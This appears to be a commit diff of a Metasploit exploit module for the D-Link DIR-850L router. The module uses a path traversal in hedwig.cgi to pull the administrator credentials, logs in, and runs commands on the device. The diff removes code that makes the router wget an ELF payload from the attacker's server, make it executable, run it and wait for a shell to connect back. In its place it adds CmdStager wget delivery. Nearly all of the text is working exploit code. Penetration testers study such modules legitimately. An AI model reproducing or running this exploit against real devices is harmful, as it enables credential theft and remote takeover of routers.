@@ -9,10 +9,8 @@ class MetasploitModule < Msf::Exploit::Remote
9
9
Rank = ExcellentRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
- include Msf ::Exploit ::Remote ::HttpServer
13
- include Msf ::Exploit ::Remote ::EXE
14
12
include Msf ::Auxiliary ::Report
15
- include Msf ::Exploit ::FileDropper
13
+ include Msf ::Exploit ::CmdStager
16
14
17
15
def initialize ( info = { } )
18
16
super ( update_info ( info ,
@@ -30,7 +28,6 @@ def initialize(info = {})
30
28
[ 'URL' , 'https://blogs.securiteam.com/index.php/archives/3310' ] ,
31
29
] ,
32
30
'DisclosureDate' => 'Aug 9 2017' ,
33
- 'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
34
31
'License' => MSF_LICENSE ,
35
32
'Platform' => 'linux' ,
36
33
'Arch' => ARCH_MIPSBE ,
@@ -44,14 +41,6 @@ def initialize(info = {})
44
41
} ,
45
42
'Targets' => [ [ 'Automatic' , { } ] ] ,
46
43
) )
47
-
48
- register_options (
49
- [
50
- OptAddress . new ( 'DOWNHOST' , [ false , 'An alternative host to requst the ARMLE payload from' ] ) ,
51
- OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
52
- OptInt . new ( 'HTTP_DELAY' , [ true , 'Time that the HTTP Server will wait for the ELF payload request' , 60 ] ) ,
53
- OptInt . new ( 'CONNECTBACK_DELAY' , [ true , 'Time to wait for shell to connect back to listener' , 10 ] )
54
- ] )
55
44
end
56
45
57
46
def check
@@ -102,6 +91,9 @@ def report_cred(opts)
102
91
create_credential_login ( login_data )
103
92
end
104
93
94
+
95
+ # some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
96
+ # should write an auxiliary module to-do -> WRITE AUXILIARY
105
97
def retrieve_creds
106
98
begin
107
99
xml = "<?xml version=\" 1.0\" encoding=\" utf-8\" ?>\r \n "
@@ -110,7 +102,6 @@ def retrieve_creds
110
102
xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r \n "
111
103
xml << "</module>\r \n "
112
104
xml << "</postxml>"
113
- uid = rand_text_alpha_lower ( 8 )
114
105
res = send_request_cgi ( {
115
106
'uri' => '/hedwig.cgi' ,
116
107
'method' => 'POST' ,
@@ -120,16 +111,20 @@ def retrieve_creds
120
111
'Accept' => '*/*'
121
112
} ,
122
113
'ctype' => 'text/xml' ,
123
- 'cookie' => "uid=#{ uid } " ,
114
+ 'cookie' => "uid=#{ Rex :: Text . rand_text_alpha_lower ( 8 ) } " ,
124
115
'data' => xml ,
125
116
} )
126
- parse = res . get_xml_document
127
- username = parse . at ( '//name' ) . text
128
- password = parse . at ( '//password' ) . text
129
- vprint_good ( "#{ peer } - Retrieved the username/password combo #{ username } /#{ password } " )
130
- loot = store_loot ( "dlink.dir850l.login" , "text/plain" , rhost , res . body )
131
- print_good ( "#{ peer } - Downloaded credentials to #{ loot } " )
132
- return username , password
117
+ if res . body =~ /<password>(.*)<\/ password>/ # fixes stack trace issue
118
+ parse = res . get_xml_document
119
+ username = parse . at ( '//name' ) . text
120
+ password = parse . at ( '//password' ) . text
121
+ vprint_good ( "#{ peer } - Retrieved the username/password combo #{ username } /#{ password } " )
122
+ loot = store_loot ( "dlink.dir850l.login" , "text/plain" , rhost , res . body )
123
+ print_good ( "#{ peer } - Downloaded credentials to #{ loot } " )
124
+ return username , password
125
+ else
126
+ fail_with ( Failure ::NotFound , "#{ peer } - Credentials could not be obtained" )
127
+ end
133
128
rescue ::Rex ::ConnectionError
134
129
fail_with ( Failure ::Unknown , "#{ peer } - Unable to connect to target." )
135
130
end
@@ -166,8 +161,8 @@ def login(username, password)
166
161
end
167
162
end
168
163
169
- def execute ( cmd , username , password )
170
- uid = login ( username , password )
164
+ def execute_command ( cmd , opts )
165
+ uid = login ( @ username, @ password) # reason being for loop is cause UID expires for some reason after executing 1 command
171
166
payload = "<?xml version=\" 1.0\" encoding=\" utf-8\" ?>\r \n "
172
167
payload << "<postxml>\r \n "
173
168
payload << "<module>\r \n "
@@ -225,138 +220,10 @@ def exploit
225
220
#
226
221
# Information Retrieval, obtains creds and logs in
227
222
#
228
- username , password = retrieve_creds
229
-
230
- downfile = datastore [ 'DOWNFILE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
231
-
232
- @pl = generate_payload_exe
233
- @elf_sent = false
234
-
235
- # HTTP Server
236
- resource_uri = '/' + downfile
237
- if ( datastore [ 'DOWNHOST' ] )
238
- service_url = 'http://' + datastore [ 'DOWNHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
239
- else
240
- # no ssl...
241
- if datastore [ 'SSL' ]
242
- ssl_restore = true
243
- datastore [ 'SSL' ] = false
244
- end
245
-
246
- #
247
- # Service URL
248
- #
249
- if ( datastore [ 'SRVHOST' ] == "0.0.0.0" or datastore [ 'SRVHOST' ] == "::" )
250
- srv_host = Rex ::Socket . source_address ( rhost )
251
- else
252
- srv_host = datastore [ 'SRVHOST' ]
253
- end
254
-
255
- service_url = 'http://' + srv_host + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
256
-
257
- #
258
- # Retrieve UID from target after authentication
259
- #
260
-
261
- print_status ( "#{ peer } - Starting up web service #{ service_url } " )
262
-
263
- start_service ( { 'Uri' => {
264
- 'Proc' => Proc . new { |cli , req |
265
- on_request_uri ( cli , req )
266
- } ,
267
- 'Path' => resource_uri
268
- } } )
269
-
270
- datastore [ 'SSL' ] = true if ssl_restore
271
- end
272
-
273
-
274
- #
275
- # Requests target to download payload
276
- #
277
- print_status ( "#{ peer } - Asking target to request to download #{ service_url } " )
278
-
279
- filename = rand_text_alpha_lower ( 8 )
280
-
281
- cmd = "wget #{ service_url } -O /tmp/#{ filename } "
282
- res = execute ( cmd , username , password )
283
- if ( !res )
284
- fail_with ( Failure ::Unknown , "#{ peer } - Unable to deploy payload" )
285
- end
286
-
287
- if ( datastore [ 'DOWNHOST' ] )
288
- print_status ( "#{ peer } - Giving #{ datastore [ 'HTTP_DELAY' ] } seconds to the device to download the payload" )
289
- select ( nil , nil , nil , datastore [ 'HTTP_DELAY' ] )
290
- else
291
- wait_for_linux_payload
292
- end
293
- register_file_for_cleanup ( "/tmp/#{ filename } " )
294
-
295
-
296
- #
297
- # Sets binary permissions to executable
298
- #
299
- cmd = "chmod 777 /tmp/#{ filename } "
300
- print_status ( "#{ peer } - Requesting device to chmod #{ downfile } " )
301
- res = execute ( cmd , username , password )
302
- if ( !res )
303
- fail_with ( Failure ::Unknown , "#{ peer } - Unable to deploy payload" ) # fannccyyy
304
- end
305
-
306
- #
307
- # Executes binary on target
308
- #
309
- cmd = "/tmp/#{ filename } "
310
- print_status ( "#{ peer } - Requesting device to execute #{ downfile } " )
311
- res = execute ( cmd , username , password )
312
- if ( !res )
313
- fail_with ( Failure ::Unknown , "#{ peer } - Unable to deploy payload" )
314
- end
315
- wait_for_connect
316
- end
317
-
318
-
319
- #
320
- # Handler for web server payload delivery
321
- #
322
- def on_request_uri ( cli , request )
323
- if ( not @pl )
324
- print_error ( "#{ peer } - A request came in, but the payload was not ready" )
325
- return
326
- end
327
- print_status ( "#{ peer } - Sending payload to the server..." )
328
- @elf_sent = true ,
329
- send_response ( cli , @pl )
330
- end
331
-
332
- #
333
- # Waits for shell to connect back to us, otherwise server stops and nothing is returned
334
- #
335
- def wait_for_connect
336
- print_status ( "#{ peer } - Waiting #{ datastore [ 'CONNECTBACK_DELAY' ] . to_s } seconds for shell to connect back to us..." )
337
- waited = 0
338
- while ( @elf_sent )
339
- select ( nil , nil , nil , 1 )
340
- waited += 1
341
- if ( waited > datastore [ 'CONNECTBACK_DELAY' ] )
342
- fail_with ( Failure ::Unknown , "#{ peer } - Shell never connected to us!, disconnect?" )
343
- end
344
- end
345
- end
346
-
347
- #
348
- # Waits for target to request payload
349
- #
350
- def wait_for_linux_payload
351
- print_status ( "#{ peer } - Waiting for target to request the ELF payload..." )
352
-
353
- waited = 0
354
- while ( not @elf_sent )
355
- select ( nil , nil , nil , 1 )
356
- waited += 1
357
- if ( waited > datastore [ 'HTTP_DELAY' ] )
358
- fail_with ( Failure ::Unknown , "#{ peer } - Target didn't request the ELF payload - Maybe it can't connect back?" ) # ;-;
359
- end
360
- end
223
+ @username , @password = retrieve_creds
224
+ execute_cmdstager (
225
+ :flavor => :wget ,
226
+ :linemax => 200
227
+ )
361
228
end
362
229
end
0 commit comments